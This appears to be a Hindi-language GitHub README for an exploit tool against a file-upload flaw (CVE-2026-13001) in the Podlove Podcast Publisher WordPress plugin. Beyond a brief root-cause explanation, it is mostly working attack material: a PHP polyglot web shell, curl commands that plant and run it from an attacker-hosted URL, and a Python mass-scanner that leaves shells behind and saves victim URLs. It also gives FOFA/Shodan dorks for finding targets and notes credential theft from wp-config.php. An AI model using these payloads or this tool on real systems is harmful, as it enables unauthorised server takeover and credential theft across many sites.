
Podlove Podcast Publisher: is_image() बनाम extract_file_extension() बेमेल के माध्यम से बिना प्रमाणीकरण के फ़ाइल अपलोड RCE | CVSS 9.8
CVE-2026-13001 Podlove Podcast Publisher WordPress प्लगइन संस्करण ≤ 4.5.1 में एक गंभीर-स्तर (CVSS 9.8) अनप्रमाणित मनमाना फ़ाइल अपलोड भेद्यता है।
यह भेद्यता दो आंतरिक फ़ंक्शनों के बीच बेमेल का फायदा उठाती है जो फ़ाइल एक्सटेंशन को अलग-अलग तरीके से पार्स करते हैं:
is_image() basename() का उपयोग करता है जिसमें क्वेरी स्ट्रिंग शामिल होती है → URL shell.php?.gif को .gif के रूप में दिखाता है ✅ (मान्य छवि)extract_file_extension() केवल parse_url() पथ का उपयोग करता है → .php लौटाता है → फ़ाइल .php एक्सटेंशन के साथ सहेजी जाती है 🚨हमलावर GIF89a PHP पॉलीग्लॉट अपलोड करते हैं (मान्य GIF हेडर + एम्बेडेड PHP) जो छवि सत्यापन पास करते हैं लेकिन एक्सेस करने पर PHP के रूप में निष्पादित होते हैं।
| संस्करण | स्थिति |
|---|---|
| ≤ 4.5.1 | असुरक्षित |
| 4.5.2+ | पैच किया गया |
खोजकर्ता: Wordfence के माध्यम से Talal Nasraddeen (14 जुलाई, 2026)
// is_image() — uses basename() which includes query string
function is_image($url) {
$ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ BYPASSED
// extract_file_extension() — uses parse_url() path only
function extract_file_extension($url) {
$path = parse_url($url, PHP_URL_PATH);
return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 SAVED AS .php
1. Attacker hosts GIF89a PHP polyglot at attacker.com/shell.php?.gif
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image() validates .gif extension → PASS
4. Plugin downloads file → saves as test_original.php in cache/
5. Attacker accesses /wp-content/cache/podlove/{hash}/test_original.php
6. PHP executes → RCE
git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
# Single target
python cve_2026_13001.py -t target.com
# Mass scan
python cve_2026_13001.py -f targets.txt -o shells.txt
# Custom payload URL
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif
# Debug mode, leave shells
python cve_2026_13001.py -t target.com --debug --no-cleanup
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--payload-url URL hosting the PHP polyglot (default: GitHub raw)
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_13001.py -t podcast-site.com
Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8
Host : podcast-site.com
Podlove : YES v4.5.1
Upload : YES
RCE : YES
Shell : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
Output : uid=33(www-data) gid=33(www-data)
Time : 4.2s
Targets: 500 | Threads: 30
Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif
[RCE] podcast-vuln-01.com https://podcast-vuln-01.com/wp-content/cache/podlove/...
[150/500] 30% | Det:42 RCE:8
चरण 1 — पॉलीग्लॉट शेल होस्ट करें
// shell.php — save and host on your server
GIF89a<?php system($_GET['c']); ?>
चरण 2 — बायपास के साथ URL को हेक्स-एन्कोड करें
# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'
चरण 3 — कैश डाउनलोड ट्रिगर करें
curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'
चरण 4 — शेल तक पहुँचें
# Path: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'
FOFA: body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"
सफल शोषण से वेब सर्वर उपयोगकर्ता के रूप में रिमोट कोड निष्पादन प्राप्त होता है:
wp-config.php निकालें → डेटाबेस क्रेडेंशियलकेवल शैक्षिक और अधिकृत परीक्षण प्रयोजनों के लिए।
लेखक दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेते हैं।
Podlove से संबद्ध नहीं।
| संसाधन | लिंक |
|---|
| Wordfence परामर्श | wordfence.com |
| Podlove सुरक्षा रिलीज़ | podlove.org |
| NVD प्रविष्टि | CVE-2026-13001 |
| Raimu0x19 द्वारा PoC | GitHub |
| शोधकर्ता | Talal Nasraddeen |